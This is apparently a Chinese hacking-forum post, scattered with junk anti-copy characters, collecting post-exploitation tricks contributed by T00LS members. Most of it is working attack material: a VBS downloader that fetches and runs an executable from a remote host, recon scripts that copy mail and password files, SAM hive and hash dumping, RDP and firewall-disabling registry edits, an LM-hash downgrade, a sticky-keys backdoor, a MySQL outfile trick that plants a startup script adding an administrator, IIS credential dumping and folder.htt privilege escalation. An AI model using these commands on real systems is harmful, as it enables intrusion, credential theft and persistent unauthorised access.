感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
3 h* g2 d5 d  ?6 D. @4 h1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
5 |- b$ }% `( v4 A* \, O1 }9 D* Balzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
8 R3 g, P  S. J若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  

* Z- ~7 s7 ~- e/ l0 Y提权先执行systeminfo
token 漏洞补丁号 KB956572
Churrasco          kb952004
* k3 _0 j" Q4 g命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
  U5 d$ X$ P) B6 R0 p9 r——————————————
' M" @  `  x/ Z2、收集系统信息的脚本  
! N) w+ J! q. |! |8 Vfor window：

$ F* L$ j5 ]1 M@echo off
echo #########system info collection
5 f4 j8 w# Y) osysteminfo
% s* Z) q1 `" }) h" K- Xver
hostname
net user
) _* |2 E/ v; `: e4 t% M! onet localgroup
net localgroup administrators
0 B* N0 m/ o9 ^' f# A, y' Inet user guest
+ C% x1 A" y$ X( ?0 U7 a' L8 t7 v, K  Hnet user administrator

( T: W6 h9 J8 a" u7 K5 [echo #######at- with   atq#####
echo schtask /query

echo
- ~, ^+ T4 n5 }6 b9 b* F8 Becho ####task-list#############
* Y. H# N, T, X0 E& |+ Qtasklist /svc
echo
% K9 b, E6 k$ u: zecho ####net-work infomation
" R+ B' R" p0 r& a2 Q! {7 B: i( pipconfig/all
( [& ?2 s+ A0 A9 rroute print
' c+ g: S9 X  X7 ^% f9 w* Tarp -a
. L8 ^! i) |( _netstat -anipconfig /displaydns
) a$ P, q4 a" s( xecho
3 W) X. N) q% }# E! iecho #######service############
4 L7 O4 i! \/ \$ Msc query type= service state= all
# N# W; _' K. N9 p" o" Z' ^8 Fecho #######file-##############
9 _1 ^# V6 C+ {cd \
tree -F
for linux：

#!/bin/bash

$ c. W( ]8 S; c# A! Iecho #######geting sysinfo####
echo ######usage: ./getinfo.sh >/tmp/sysinfo.txt
4 ~# d0 K* i# E8 k8 z: @" {% mecho #######basic infomation##
cat /proc/meminfo
echo
cat /proc/cpuinfo
% H' i# X9 X) D4 ~6 I* Hecho
rpm -qa 2>/dev/null
1 o) `$ }. S" C0 n3 S: N+ U6 E######stole the mail......######
% ?. O" ?7 a' ]1 i! Z: K3 u- q4 f' ccp -a /var/mail /tmp/getmail 2>/dev/null

2 U9 k; K0 [! [! J2 n
echo 'u'r id is' `id`
/ U! P$ P$ d% g7 necho ###atq&crontab#####
, j" O; [& |3 T0 {. Latq
crontab -l
8 ?0 S' \. e3 e# z  @1 B" `, B6 recho #####about var#####
# L# J# X$ |* E3 O$ k& X7 t( C/ _set

echo #####about network###
9 ^7 l% ?. y6 r2 @####this is then point in pentest,but i am a new bird,so u need to add some in it
$ B/ v0 F; z8 p- s# a' ]cat /etc/hosts
hostname
ipconfig -a
: L/ v6 k" f, o/ w- ]( [arp -v
echo ########user####
cat /etc/passwd|grep -i sh
  }- E5 }+ R9 H, w0 i
echo ######service####
chkconfig --list
' s  ]1 b( B+ B/ {
for i in {oracle,mysql,tomcat,samba,apache,ftp}
cat /etc/passwd|grep -i $i
- H% D! J3 T8 Z! [$ i& L% ~done
: ^% p4 C/ N5 ~) e. C& m9 Y1 i5 Z4 |
  K' k# ]/ |2 C- M3 \locate passwd >/tmp/password 2>/dev/null
sleep 5
locate password >>/tmp/password 2>/dev/null
! |. ]  u: F) x7 xsleep 5
locate conf >/tmp/sysconfig 2>dev/null
: v) j: _; }0 t1 @( z7 csleep 5
  A* Z0 v8 @8 x- \+ Slocate config >>/tmp/sysconfig 2>/dev/null
sleep 5

9 d1 Q* P: h. f" j' R+ H###maybe can use "tree /"###
7 Z4 x4 K8 ]" f9 P! Secho ##packing up#########
tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
+ H8 C5 ^' x! f4 M6 W0 a* grm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
8 [5 C! t6 H# U  l/ E3、ethash 不免杀怎么获取本机hash。
0 j* {4 J0 i0 U0 [7 ^: I首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
+ r; j' y( I! {               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
! i( [" k& D8 a- r接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
hash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
- H/ e  a6 C! u. B1 j' O$ t——————————————
4、vbs 下载者
1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
& J. ~9 O# O* J" u2 r5 Gecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
% A' l& O! ?/ Recho sGet.Type = 1 >>c:\windows\cftmon.vbs
, v8 z2 u5 p7 x( @! yecho sGet.Open() >>c:\windows\cftmon.vbs
( n& q8 C6 |# V# v0 K4 I4 h* vecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
. j$ i% u, }! v- Eecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
2 W6 @& g+ {4 }1 j3 ]' Iecho objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

* @1 T; S! g# Y" g4 H2
/ i5 _% r2 Y0 rOn Error Resume Nextim iRemote,iLocal,s1,s2
. A: B( J" [6 R8 C6 ?9 U" HiLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
s1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
- o0 R$ ^: d: n! L! I& l. SSet xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
' k! W. e' V) Z( USet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
4 b4 ]6 |- _) \' `sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
9 ^( P" G; i) H- K! \( b/ L
; p9 U* j2 X7 R2 acscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
8 N! n/ [+ ]8 @* E/ v4 m# S
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
- w& v" ?: [; ~——————————————————
' @8 A) p1 D( W5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
9 q2 j% v( Y. d5 O5 \2.开启XP&2003终端服务
+ X: G8 |+ O5 ~/ UREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
. {  |3 d. _# L7 x# n1 dREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
6 l4 j2 V& @; K8 e( I' a4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
REG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
" M) l2 S$ ^% j' S6、create table a (cmd text);
0 Z' k* t- }! `3 I1 E7 Einsert into a values ("set wshshell=createobject (""wscript.shell"")");
2 n* C8 B- m5 V$ `" [insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
  H& N: W' I1 r% n# Z* M& Zinsert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
1 j' I) |, G  K9 x* n7 @select * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
8 R5 f8 Q& F4 P- H" N/ B0 m& T& @————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
2 d* ]- }! S3 r; s_____
$ `2 ~3 `4 V1 m, a, j5 o7 Q8、for /d %i in (d:\freehost\*) do @echo %i
% `, q" W. }! {7 F6 [
列出d的所有目录
: ]1 r9 i+ N: K& T  
' }. a4 e2 {: r  for /d %i in (???) do @echo %i
1 r5 i7 K+ M7 e& K
  H) k5 E) l4 J. W, T& J4 F7 L把当前路径下文件夹的名字只有1-3个字母的打出来

1 c2 }8 m3 e5 \- o% Z, K2.for /r %i in (*.exe) do @echo %i
: d% a6 w- C! k* U  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

+ v& Y# X" d8 p5 \. _5 X+ p! }for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
  b5 x9 d3 p6 p; i
3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
2 R* U6 N3 |: r, r) X
5 q: _4 i1 Y* x! h6 C4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i

4 O4 n( t, H* M9 x  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
1.Administrator注册表备份:
/ |0 r4 Y& f/ J' s- |reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

( z0 @2 \, d) _( K5 F7 S2.修改3389的默认端口:
HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
' N7 U5 }& V5 {% m修改PortNumber.

3.清除3389登录记录:
6 ]9 ^. f6 O, @$ T4 p% treg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f

4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
! D  n& ]# @4 m/ p. ]0 K: H
1 V* u5 u' m2 C4 h+ J$ v4 B5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f
& {5 F; D7 Y  ?5 v
* `1 d: `3 X. W, y, K; [' l6.IPSec默认免除项88端口(需重启):
reg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
或者
netsh ipsec dynamic set config ipsecexempt value=0

7.停止指派策略"myipsec":
* _4 k  ^/ u; b( G6 Onetsh ipsec static set policy name="myipsec" assign=n

8.系统口令恢复LM加密:
% ?0 P! s4 g& @* c9 Xreg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f
0 F7 t5 k7 d1 H& O3 U
9.另类方法抓系统密码HASH
1 U7 f3 X$ t. l9 Y% }% Nreg save hklm\sam c:\sam.hive
reg save hklm\system c:\system.hive
  @/ g2 F; B% ~. R& _9 a& Zreg save hklm\security c:\security.hive

10.shift映像劫持
' t: X! k" ]. e" G6 Q( a( t  Treg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
  a. f, E/ F/ u( B$ B6 e-----------------------------------
, J. b* a' u. U3 W星外vbs(注：测试通过，好东西）
& B* \7 f# R) e2 ~2 Y5 f0 TSet ObjService=GetObject("IIS://LocalHost/W3SVC")
! ?; f! U) @) U; QFor Each obj3w In objservice
7 p7 D% r; Q, @4 ^* b! P  @childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
  s1 K$ D' I/ \0 O* S9 X2 sif IsNumeric(childObjectName)=true then
) U& E& _: }2 ?1 q7 R4 Lset IIs=objservice.GetObject("IIsWebServer",childObjectName)
if err.number<>0 then
exit for
/ H% T/ [% Y1 A" ]6 S3 }1 n. \msgbox("error!")
wscript.quit
end if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
, q2 J; z. T; X; H! z3 aset IISweb=iis.getobject("IIsWebVirtualDir","Root")
7 a' L) F7 `+ P  V& A. Kuser=iisweb.AnonymousUserName
! j' y# M0 s& D6 @1 V0 Vpass=iisweb.AnonymousUserPass
- V5 y) B9 \- W( s1 tpath=IIsWeb.path
6 C5 ]' D) F. K5 Mlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
end if
Next
# F  g4 n# w1 a6 M8 w( z2 X+ vwscript.echo list
/ y' [. U* s1 D7 R1 XSet ObjService=Nothing
wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
WScript.Quit
复制代码
! C  M% t: f% ]* b' j----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
  m' K  S- Y2 {) W9 V2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
" @* J4 D- ~' _# F) w将folder.htt文件，加入以下代码：
- h" f' h, B. a$ k4 D<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
4 k" U! X) d; t! Q2 E</OBJECT>
复制代码
- v1 r9 N8 }7 u! y然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
* y2 E5 ~* I7 [8 z 原因是ASP大马里有这样的代码：（没有就没事儿了）
3 }  T8 ~& O; H8 k url=request.severvariables("url")
0 C2 I! p* O$ u 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
url=request.severvariables("path_info")
' k. D  l% a% t9 G$ C! c path_info可以直接呈现虚拟路径 顺利解析gif大马
+ g+ i( c- x5 J' M  V
: q, S! ]* m) v* X, K==============================================================
LINUX常见路径：
# w3 F8 `# F" [! P' }+ T
/etc/passwd
; b' B6 C) `, \) ?  p% Z, r/etc/shadow
1 O" V! t/ \1 S/etc/fstab
/etc/host.conf
; r, N2 @0 [) y3 w6 e$ r/etc/motd
* r4 k& K3 R+ o# D/etc/ld.so.conf
/var/www/htdocs/index.php
/var/www/conf/httpd.conf
8 y0 [1 O; K! S1 x2 r: K  I/var/www/htdocs/index.html
9 n  o8 u6 ~! c& }+ S/var/httpd/conf/php.ini
+ }! m# u( j, S" h7 u) C/var/httpd/htdocs/index.php
0 }! ?# ?0 M2 u3 P- C* c/var/httpd/conf/httpd.conf
  T! a) I5 B- z8 P/var/httpd/htdocs/index.html
/var/httpd/conf/php.ini
1 B- o0 z5 {  u  h9 r6 u- q: Q/var/www/index.html
/var/www/index.php
/opt/www/conf/httpd.conf
! L- x, t/ ]) i3 {9 L8 C/opt/www/htdocs/index.php
/opt/www/htdocs/index.html
/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
: g  h  c' e$ u4 P% S# O/ J/usr/local/apache2/htdocs/index.html
8 `1 G, t7 g4 ?/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
/tmp/apache/htdocs/index.php
" k+ s) G2 s" R# x& X6 t/etc/httpd/htdocs/index.php
$ d) @1 L( ]% i" i/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
4 n( D4 _1 c8 \5 G9 H  H0 {7 h" N9 ?/www/php/php.ini
% j0 R6 T0 I! t! S, ^0 {- V/www/php4/php.ini
/www/php5/php.ini
* r, J& O  {" p, Z/www/conf/httpd.conf
/www/htdocs/index.php
1 F% H* O, t" U9 x4 i/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
/apache/apache/conf/httpd.conf
" z5 d* X! x5 Z& U* J  O1 ^/apache/apache2/conf/httpd.conf
/etc/apache/apache.conf
+ R6 B  a4 u/ a0 }1 I9 Q) j/etc/apache2/apache.conf
: ^4 }5 l6 Q+ [' ?! z# M/etc/apache/httpd.conf
/etc/apache2/httpd.conf
/etc/apache2/vhosts.d/00_default_vhost.conf
/ c$ P, [1 k, P! e( ]/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
0 d. d; T% b' Q) `1 n1 q/etc/httpd/conf.d/httpd.conf
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
) L8 C, H0 w$ m; L/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
6 M% y4 X3 m/ v6 P$ \: k/ o/home/apache/conf/httpd.conf
' |# r3 [6 X) {7 a4 a6 j, d$ r5 j6 }/home/apache2/conf/httpd.conf
/var/log/apache/error_log
/var/log/apache/error.log
! W! j9 o3 d8 M7 K8 ?; n9 [/var/log/apache/access_log
/var/log/apache/access.log
3 \9 P2 R$ N1 P) ~- n5 P) q/ m/var/log/apache2/error_log
/var/log/apache2/error.log
$ P2 p6 A6 c% `1 [4 ]  D/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
; V+ W' g$ }- x6 K& k% [/var/www/logs/error.log
: G4 m5 q/ h& R! j% \7 ?8 K/var/www/logs/access_log
* x, K* k7 z; v$ X/var/www/logs/access.log
& g, E' }) D2 R! i6 |+ B7 G# l: \4 z8 F/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
3 d9 e) d/ M( J1 O/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
% t  ?8 |8 h+ T! b/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
6 u3 L2 ]+ W" ?# {/usr/local/apache/logs/error_logerror_log.old
- X. Z' {1 B' l) j: {& ]/etc/php.ini
! j, [! @4 f9 N; ^8 l7 C! h/bin/php.ini
1 P+ o( D0 U7 k9 n; S; t7 A: K/etc/init.d/httpd
! \: h- r- J2 x7 K/etc/init.d/mysql
/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
/usr/local/etc/php.ini
1 M% {! m0 T9 o9 ?# G# c- o* C" h/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
# A: \' ?( s- i2 f8 R/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
4 o6 u& p- b) a# j/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
- \+ g- I9 b* n  ^: p! i/usr/local/php5/php5.ini
6 e% Q" C. `7 e* l/usr/local/apache/conf/php.ini
/usr/local/apache/conf/httpd.conf
: r8 H/ c, p; @$ P) \: o+ C  U/usr/local/apache2/conf/httpd.conf
. W& ~& v9 I0 r0 r( V1 u6 Z- L/usr/local/apache2/conf/php.ini
/etc/php4.4/fcgi/php.ini
1 R, ]( c; ^; l+ ?+ y/etc/php4/apache/php.ini
/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
- v2 `1 J6 a9 Y* M7 c/etc/php5/apache2/php.ini
/etc/php/php.ini
1 A9 P) v4 R: F- @2 b4 D6 R1 j/etc/php/php4/php.ini
/etc/php/apache/php.ini
/etc/php/apache2/php.ini
/web/conf/php.ini
/usr/local/Zend/etc/php.ini
/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
/var/local/www/conf/httpd.conf
3 a: E8 |% E- ]- Q/etc/php/cgi/php.ini
/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
. k( d6 x! c& t6 q6 _1 }/php4/php.ini
/php/php.ini
# A9 D$ s6 w9 K- ~7 a" X/PHP/php.ini
/apache/php/php.ini
- p" ~/ k% m( q  p# p7 ^/xampp/apache/bin/php.ini
: L( J- n& _- m, S' R/xampp/apache/conf/httpd.conf
/ g+ N8 A! j+ x: h5 Z9 w. j/NetServer/bin/stable/apache/php.ini
% M7 p& t2 h7 l! d. ?& w) O( q/home2/bin/stable/apache/php.ini
: @- K2 g4 A& H! L/home/bin/stable/apache/php.ini
- K  M* o" K- c+ y& R: X/var/log/mysql/mysql-bin.log
; V8 K; Y' s8 q* [* h% |: Z' ~& O/var/log/mysql.log
! L$ u* ~% l6 P! s/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
0 k% @8 N2 t4 R7 D/usr/local/mysql/my.cnf
/usr/local/mysql/bin/mysql
: y0 i$ b5 V6 W. b/etc/mysql/my.cnf
/etc/my.cnf
% ~* v0 p3 t% s* [" h& `8 C( J/usr/local/cpanel/logs
9 F, c0 _, g$ S& z( V2 ]/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
  r$ `) o" P, O7 ~6 v% Z% a/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
$ B* Q$ B2 \! S% C9 {/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
; Z1 C: Q) X) L9 u, A" ?+ u# R/usr/local/share/examples/php4/php.ini
* M* r7 a  K$ g# o1 e/ }/usr/local/share/examples/php/php.ini

2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）
4 a( m0 ]! H1 ^  `/ E" N. ^
c:\windows\php.ini
c:\boot.ini
c:\1.txt
c:\a.txt
) p  N. V$ {: K1 `0 m6 ?
/ e1 R0 p4 d# r% X. v8 Yc:\CMailServer\config.ini
$ _: V! U% _% _" [0 rc:\CMailServer\CMailServer.exe
+ O2 c+ Y' x6 F+ vc:\CMailServer\WebMail\index.asp
; D, S- J  }, ?c:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
4 d& X$ N! h; j! W* h5 CC:\WinWebMail\SysInfo.ini
0 Y/ ?3 I1 z& y/ U  e4 QC:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
C:\WINDOWS\7i24iislog4.exe
C:\WINDOWS\7i24tool.exe

' U! S: m% @; M+ |7 mc:\hzhost\databases\url.asp

: z) Q" }! k3 c. H  u" vc:\hzhost\hzclient.exe
C:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk
3 `8 Z  g- _/ v+ I* S
C:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
C:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
c:\WWWROOT\index.html
1 F: p% X: [# J- y7 f) V8 V* gc:\website\index.html
c:\web\index.asp
c:\www\index.asp
4 U: a, ^, s1 n- o0 C! Y' oc:\wwwsite\index.asp
8 W  O9 [# K" Pc:\WWWROOT\index.asp
- [6 \, Z$ h- Q& M0 Uc:\web\index.php
c:\www\index.php
5 {$ z+ s5 x" q- L4 Y2 c" _: V% ]; nc:\WWWROOT\index.php
c:\WWWsite\index.php
4 J$ e$ \' e) F9 f( [c:\web\default.html
c:\www\default.html
0 I% Q* @+ e( I6 t7 K9 [8 h4 Vc:\WWWROOT\default.html
9 x, ?/ h  T, |0 ^6 z/ Fc:\website\default.html
c:\web\default.asp
6 v: p" M) \# S4 ?/ d* c! `c:\www\default.asp
c:\wwwsite\default.asp
9 r4 \3 X9 G! T0 tc:\WWWROOT\default.asp
c:\web\default.php
. H, V, K, z5 R' S; N: xc:\www\default.php
c:\WWWROOT\default.php
c:\WWWsite\default.php
4 Q: n) N; }$ M; d5 mC:\Inetpub\wwwroot\pagerror.gif
: |5 G  P+ R/ ?" B/ Fc:\windows\notepad.exe
c:\winnt\notepad.exe
C:\Program Files\Microsoft Office\OFFICE10\winword.exe
5 R5 k; H/ T- u& E7 C( B8 GC:\Program Files\Microsoft Office\OFFICE11\winword.exe
# h: F& p8 {1 R6 UC:\Program Files\Microsoft Office\OFFICE12\winword.exe
C:\Program Files\Internet Explorer\IEXPLORE.EXE
, x1 V# g, B7 wC:\Program Files\winrar\rar.exe
C:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
, K: G0 J4 h4 h& oc:\ravbin\store.ini
$ Z7 N7 [* a$ C' z5 @0 ]) {c:\rising.ini
4 X$ ^: {7 j& ~% QC:\Program Files\Rising\Rav\RsTask.xml
C:\Documents and Settings\All Users\Start Menu\desktop.ini
C:\Documents and Settings\Administrator\My Documents\Default.rdp
! o0 A+ I1 k: w" vC:\Documents and Settings\Administrator\Cookies\index.dat
C:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
4 S1 Y1 Z( L; D4 g6 F7 mC:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
' g4 p) Y9 ]' ?7 Z9 \* yC:\Documents and Settings\Administrator\My Documents\1.txt
) d2 G3 p$ O; v0 c0 t4 {C:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
C:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
# c8 V% _8 j+ P, E( ME:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
) [0 j3 P+ [' q5 R. F( EC:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
  g- c/ ?( s. W5 _  F6 j2 [C:\Program Files\Symantec\SYMEVENT.INF
8 s+ C/ B4 r1 |8 g% SC:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
C:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
) X# W$ N1 }2 A( U/ U, y' cC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
7 c% K+ I$ A4 }& BC:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\my.ini
C:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
# u7 l! x3 I! N! }* wC:\Program Files\MySQL\MySQL Server 5.0\COPYING
C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
& R1 k: _( I' a0 }) e0 V" h  Z* nC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\bin\mysql.exe
' e( Z4 [  }1 a" I3 tc:\MySQL\MySQL Server 4.1\data\mysql\user.frm
4 A% [, i1 j  |/ L: Q& fC:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
# M! s8 D' s+ `$ a- YC:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
C:\WINDOWS\system32\inetsrv\MetaBase.xml
1 k# w( a& {/ h. aC:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
C:\WINDOWS\system32\config\default.LOG
C:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
c:\CMailServer\config.ini
5 `4 j# R6 P# k- j. z, E! Ec:\program files\CMailServer\config.ini
c:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
c:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
7 X1 B4 U/ i4 V5 Z8 m9 \0 p+ ~  y, vc:\Apache2\Apache2\bin\Apache.exe
: V5 L& E& z. x4 y, m; nc:\Apache2\bin\Apache.exe
c:\Apache2\php\license.txt
9 I! g' O. h0 F' V; ZC:\Program Files\Apache Group\Apache2\bin\Apache.exe
; @" M; P  {' i: z/usr/local/tomcat5527/bin/version.sh
/usr/share/tomcat6/bin/startup.sh
& K0 {5 H  P5 E2 z  f2 H" c; q2 j/usr/tomcat6/bin/startup.sh
  D3 ]: C5 l6 t6 dc:\Program Files\QQ2007\qq.exe
c:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
c:\Program Files\Tencent\qq\bin\qq.exe
3 e5 B! u( V+ h' h8 `, S' k: p5 kc:\Program Files\Tencent\qq2009\qq.exe
( O7 W% q9 M) n+ }+ Fc:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
/ l. d3 w+ ^1 D/ E! pc:\Program Files\Tencent\qq\Users\All Users\Registry.db
